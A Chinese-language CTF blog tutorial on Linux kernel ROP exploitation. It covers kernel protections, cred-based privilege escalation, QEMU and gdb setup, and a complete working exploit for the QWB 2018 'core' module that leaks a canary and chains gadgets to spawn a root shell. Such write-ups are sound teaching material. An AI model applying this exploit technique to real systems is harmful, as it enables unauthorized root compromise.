Kernel Pwn ROP
LOLOLO Lv3

前言

怎么说呢,苦逼学习了一年的Glibc的利用,然而到现在很多大比赛当中,已经开始从user mode转移到kernel mode当中去了,为了不脱离大队伍,开始学习kernel pwn

Kernel ROP

一些前置的知识:内核保护机制

SMAP/SMEP(来自初号机师傅的文章)

SMAP(Supervisor Mode Access Prevention,管理模式访问保护)和SMEP(Supervisor Mode Execution Prevention,管理模式执行保护)的作用分别是禁止内核访问用户空间的数据和禁止内核执行用户空间的代码。arm里面叫PXN(Privilege Execute Never)和PAN(Privileged Access Never)。SMEP类似于前面说的NX,不过一个是在内核态中,一个是在用户态中。和NX一样SMAP/SMEP需要处理器支持,可以通过cat /proc/cpuinfo查看,在内核命令行中添加nosmap和nosmep禁用。windows系统从win8开始启用SMEP,windows内核枚举哪些处理器的特性可用,当它看到处理器支持SMEP时通过在CR4寄存器中设置适当的位来表示应该强制执行SMEP,可以通过ROP或者jmp到一个RWX的内核地址绕过。linux内核从3.0开始支持SMEP,3.7开始支持SMAP。
在没有SMAP/SMEP的情况下把内核指针重定向到用户空间的漏洞利用方式被称为ret2usr。physmap是内核管理的一块非常大的连续的虚拟内存空间,为了提高效率,该空间地址和RAM地址直接映射。RAM相对physmap要小得多,导致了任何一个RAM地址都可以在physmap中找到其对应的虚拟内存地址。另一方面,我们知道用户空间的虚拟内存也会映射到RAM。这就存在两个虚拟内存地址(一个在physmap地址 ,一个在用户空间地址)映射到同一个RAM地址的情况。也就是说,我们在用户空间里创建的数据,代码很有可能映射到physmap空间。基于这个理论在用户空间用mmap()把提权代码映射到内存,然后再在physmap里找到其对应的副本,修改EIP跳到副本执行就可以了。因为physmap本身就是在内核空间里,所以SMAP/SMEP都不会发挥作用。这种漏洞利用方式叫ret2dir。

简单来讲就是隔离了内核和用户空间,内核没法访问或者执行用户空间的代码

Stack protector

个人简单理解为用户态下的Canary吧

Kernel Address Display Restriction(来自初号机师傅的文章

在linux内核漏洞利用中常常使用commit_creds和prepare_kernel_cred来完成提权,它们的地址可以从/proc/kallsyms中读取。从Ubuntu 11.04和RHEL 7开始,/proc/sys/kernel/kptr_restrict被默认设置为1以阻止通过这种方式泄露内核地址。(非root用户不可读取)。一般来说,我们都是在启动脚本中将权限提升到root,以方便从/proc/kallsyms读取commit_creds和prepare_kernel_cred的地址。

KALSR

内核地址随机化,类似于用户态的alsr,非默认开始。

KPTI

KPTI即内核页表隔离(Kernel page-table isolation),内核空间与用户空间分别使用两组不同的页表集,这对于内核的内存管理产生了根本性的变化

需要进行说明的是,在这两张页表上都有着对用户内存空间的完整映射,但在用户页表中只映射了少量的内核代码(例如系统调用入口点、中断处理等),而只有在内核页表中才有着对内核内存空间的完整映射,但两张页表都有着对用户内存空间的完整映射

内核中获得flag的方式

提权,即是将当前进程的权限变更为root,一般调用 commit_creds(prepare_kernel_cred(0))完成提权然后用户态“着陆”起shell。

进程权限管理(这里照搬了arttnba3师傅的博客 )

进程描述符(process descriptor)

在内核中使用结构体 task_struct 表示一个进程,该结构体定义于内核源码include/linux/sched.h中,代码比较长就不在这里贴出了

一个进程描述符的结构应当如下图所示:

本篇我们主要关心其对于进程权限的管理

注意到task_struct的源码中有如下代码:

1
2
3
4
5
6
7
8
9
10
/* Process credentials: */

/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;

Process credentials 是 kernel 用以判断一个进程权限的凭证,在 kernel 中使用 cred 结构体进行标识,对于一个进程而言应当有三个 cred:

  • ptracer_cred:使用ptrace系统调用跟踪该进程的上级进程的cred(gdb调试便是使用了这个系统调用,常见的反调试机制的原理便是提前占用了这个位置)
  • real_cred:客体凭证objective cred),通常是一个进程最初启动时所具有的权限
  • cred:主体凭证subjective cred),该进程的有效cred,kernel以此作为进程权限的凭证

进程权限凭证:cred结构体

对于一个进程,在内核当中使用一个结构体cred管理其权限,该结构体定义于内核源码include/linux/cred.h中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;

用户ID & 组ID

一个cred结构体中记载了一个进程四种不同的用户ID

  • 真实用户ID(real UID):标识一个进程启动时的用户ID
  • 保存用户ID(saved UID):标识一个进程最初的有效用户ID
  • 有效用户ID(effective UID):标识一个进程正在运行时所属的用户ID,一个进程在运行途中是可以改变自己所属用户的,因而权限机制也是通过有效用户ID进行认证的,内核通过 euid 来进行特权判断;为了防止用户一直使用高权限,当任务完成之后,euid 会与 suid 进行交换,恢复进程的有效权限
  • 文件系统用户ID(UID for VFS ops):标识一个进程创建文件时进行标识的用户ID

在通常情况下这几个ID应当都是相同的

用户组ID同样分为四个:真实组ID保存组ID有效组ID文件系统组ID,与用户ID是类似的,这里便不再赘叙

进程权限改变

前面我们讲到,一个进程的权限是由位于内核空间的cred结构体进行管理的,那么我们不难想到:只要改变一个进程的cred结构体,就能改变其执行权限

在内核空间有如下两个函数,都位于kernel/cred.c中:

  • struct cred* prepare_kernel_cred(struct task_struct* daemon):该函数用以拷贝一个进程的cred结构体,并返回一个新的cred结构体,需要注意的是daemon参数应为有效的进程描述符地址或NULL
  • int commit_creds(struct cred *new):该函数用以将一个新的cred结构体应用到进程

*提权

查看prepare_kernel_cred()函数源码,观察到如下逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;

new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;

kdebug("prepare_kernel_cred() alloc %p", new);

if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred); <-------------这个地方
...

prepare_kernel_cred()函数中,若传入的参数为NULL,则会缺省使用init进程的cred作为模板进行拷贝,即可以直接获得一个标识着root权限的cred结构体

那么我们不难想到,只要我们能够在内核空间执行commit_creds(prepare_kernel_cred(NULL)),那么就能够将当前进程的权限提升到root

状态保存(依旧照搬 arttnba3师傅博客)

通常情况下,我们的exploit需要进入到内核当中完成提权,而我们最终仍然需要着陆回用户态以获得一个root权限的shell,因此在我们的exploit进入内核态之前我们需要手动模拟用户态进入内核态的准备工作——保存各寄存器的值到内核栈上,以便于后续着陆回用户态

通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中,以便于构造 rop 链:

算是一个通用的pwn板子

方便起见,使用了内联汇编,编译时需要指定参数:-masm=intel

这是intel的

1
2
3
4
5
6
7
8
9
10
11
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

这是AT&T的

1
2
3
4
5
6
7
8
9
10
11
12
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}

返回用户态

  • swapgs指令恢复用户态GS寄存器
  • sysretq或者iretq恢复到用户空间

那么我们只需要在内核中找到相应的gadget并执行swapgs;iretq就可以成功着陆回用户态

通常来说,我们应当构造如下rop链以返回用户态并获得一个shell:

1
2
3
4
5
6
7
↓    swapgs      <--------这里是gadget片段
iretq
user_shell_addr
user_cs
user_eflags //64bit user_rflags
user_sp
user_ss

但是当开启了KPTI保护时,就需要

1
2
3
4
5
6
7
8
↓    swapgs_restore_regs_and_return_to_usermode <-------这里是一个函数,用来绕过KPTI
0 // padding
0 // padding
user_shell_addr
user_cs
user_rflags
user_sp
user_ss

补充一点,在寻找iretq这个gadget的时候,不一定要iretq;ret,因为这个时候已经返回了用户态,而之前就已经保存了rip了,现在只需要将栈上rip的位置布置为system(“/bin/sh”)即可

iretq的栈布局如下(来自初号机师傅的文章)

1
2
3
4
5
6
7
8
9
10
11
|----------------------|
| RIP |<== low mem
|----------------------|
| CS |
|----------------------|
| EFLAGS |
|----------------------|
| RSP |
|----------------------|
| SS |<== high mem
|----------------------|

调试等一些其他问题解决

首先是启动脚本,给出一个例子,参考arttnba3师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-monitor /dev/null \
-append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet nokaslr" \
-cpu kvm64,+smep \
-smp cores=2,threads=1 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-s

部分参数说明如下:

  • -m:虚拟机内存大小
  • -kernel:内存镜像路径
  • -initrd:磁盘镜像路径
  • -append:附加参数选项
  • nokalsr:关闭内核地址随机化,方便我们进行调试
  • rdinit:指定初始启动进程,/sbin/init进程会默认以/etc/init.d/rcS作为启动脚本,这里也可以不要这个,直接写一个init脚本。
  • loglevel=3 & quiet:不输出log
  • console=ttyS0:指定终端为/dev/ttyS0,这样一启动就能进入终端界面
  • -monitor:将监视器重定向到主机设备/dev/null,这里重定向至null主要是防止CTF中被人给偷了qemu拿flag
  • -cpu:设置CPU安全选项,在这里开启了smep保护,同样的还有smap保护
  • -s:相当于-gdb tcp::1234的简写(也可以直接这么写),后续我们可以通过gdb连接本地端口进行调试

通常当我们自己起一个内核环境时,需要配置一些例如用户组等信息,这里采用了busybox构建磁盘镜像

大致如下操作…

1
mkdir -p  proc sys dev etc/init.d

然后 创建 init 作为 linux 的启动脚本,内容为 (参考ctfwiki)

1
2
3
4
5
6
7
8
9
10
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh

以下同样参考arttnba3师傅

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev

exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

然后是配置用户组

1
2
3
4
5
$ echo "root:x:0:0:root:/root:/bin/sh" > etc/passwd
$ echo "ctf:x:1000:1000:ctf:/home/ctf:/bin/sh" >> etc/passwd
$ echo "root:x:0:" > etc/group
$ echo "ctf:x:1000:" >> etc/group
$ echo "none /dev/pts devpts gid=5,mode=620 0 0" > etc/fstab

打包解压镜像文件

使用如下命令打包

1
find . | cpio -o -H newc > ./rootfs.cpio
1
find . | cpio -o --format=newc > ./rootfs.cpio

解压

1
2
3
cpio -idv < ./rootfs.cpio
ffffffff8109c8e0
ffffffff9469c8e0

gdb调试exploit、内核

如果比赛题中给出了vmlinux文件,那么按照如下步骤解决

简单说明一下

  1. 首先加载vmlinux
  2. set architecture i386:x86-64设置架构
  3. add-symbol-file(加载驱动符号表) ./驱动的具体为找 xx.ko 0xffffffffc0000000(后面这个是驱动的text段的起始地址),可以通过cat /sys/module/babydriver/sections/.text 查询,也可以通过lsmod查看
  4. b *babyread,第三步中加载的驱动中的函数下断点
  5. 通过targe remote localhost:1234连接
  6. gdb中键入C执行,回到内核中运行exploit即可成功断点

补充

当题目中没有给出vmlinux文件时,可以通过**extract-vmlinux**来提取

1
./extract-vmlinux ./bzImage > vmlinux

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------

check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1

cat $1
exit 0
}

try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.

# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}

# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

提取gadget,这里可以用ROPgadget、ropper、objdump等提取

1
2
3
ROPgadget --binary ./vmlinux > gadget.txt
ropper --file ./vmlinuz --nocolor > gadget.txt
objdump -d vmlinux > gadget

例题:强网杯2018 - core

这里还有些前置知识,就不一一做列举了。

保护

init函数

创建了一个进程节点文件/proc/core,也是后续我们跟该内核模块通信的媒介

ioctl函数

不同的参数可以分别调用三个操作,其中off是全局变量(.bss)

read函数

在copy_to_user中,将v5[off]偏移处开始,长度为64的内容读入到了用户的参数a1当中去,而这里off我们能够控制,而程序开启了Canary,通过这里可以将canary泄露出来

write函数

这里name是全局变量,在copy_from_user中,从用户输入a2中读取长度为a3到name当中去

func函数

在该函数中,qmemcpy,从name中读取长度为a1进入栈上变量v2当中去,这里a1由用户传入时是int64,而在qmemcpy当中值的类型变成了int16。

思路(以下来自Lantern师傅)

  1. 通过 ioctl 设置 off, 然后通过 core_read () leak 出 canary
  2. 通过 core_write () 向 name 写,构造 ropchain
  3. 通过 core_copy_func () 从 name 向局部变量上写,通过设置合理的长度和 canary 进行 rop
  4. 通过 rop 执行 commit_creds(prepare_kernel_cred(0))
  5. 返回用户态,通过 system (“/bin/sh”) 等起 shell

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell() {
if (!getuid()) {
system("/bin/sh");
} else {
puts("[*] spwan shell error!");
}
exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;

size_t vmlinux_base = 0;
size_t find_symbols() {
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");

if (kallsyms_fd < 0) {
puts("[*] open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while (fgets(buf, 0x30, kallsyms_fd)) {
if (commit_creds & prepare_kernel_cred) {
return 0;
}

if(strstr(buf, "commit_creds") && !commit_creds) {
char hex[20] = {0};
strncpy(hex, buf, 0x10);
sscanf(hex, "%llx", &commit_creds);
printf("[*] commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("[*] vmlinux_base addr: %p\n", vmlinux_base);
}

if (strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) {
char hex[20] = {0};
strncpy(hex, buf, 0x10);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("[*] prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
printf("[*] vmlinux_base addr: %p\n", vmlinux_base);
}
}

if (!(prepare_kernel_cred & commit_creds)) {
puts("[*] Error!");
exit(0);
}
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
__asm__ (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] status has been saved.");
}

void set_off(int fd, long long idx) {
printf("[*] set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf) {
puts("[*] read to buf.");
ioctl(fd, 0x6677889B, buf);
}

void core_copy_func(int fd, long long size) {
printf("[*] copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}

int main() {
save_status();
int fd = open("/proc/core", 2);
if (fd < 0) {
puts("[*] open /proc/core error!");
}

find_symbols();
ssize_t offset = vmlinux_base - raw_vmlinux_base;

set_off(fd, 0x40);

char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];

printf("[*] canary: %p\n", canary);

size_t rop[0x1000] = {0};

int i;
for(i = 0; i < 10; i++) {
rop[i] = canary;
}

rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));

return 0;
}

参考文章

https://lantern.cool/note-pwn-kernel-rop/#get-root-shell

https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux

https://arttnba3.cn/2021/03/03/NOTE-0X03-LINUX-KERNEL-PWN-PART-II/#%E4%BE%8B%E9%A2%98%EF%BC%9A%E5%BC%BA%E7%BD%91%E6%9D%AF2018-core

https://bbs.pediy.com/thread-262425.htm

https://mask6asok.top/2020/02/06/Linux_Kernel_Pwn_1.html#exploit

https://ctf-wiki.org/pwn/linux/kernel-mode/environment/qemu-emulate/

  • 本文标题:Kernel Pwn ROP
  • 本文作者:LOLOLO
  • 创建时间:2022-03-12 18:53:00
  • 本文链接:https://lololo-pwn.github.io/2022/03/12/Kernel-Pwn-ROP/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
 评论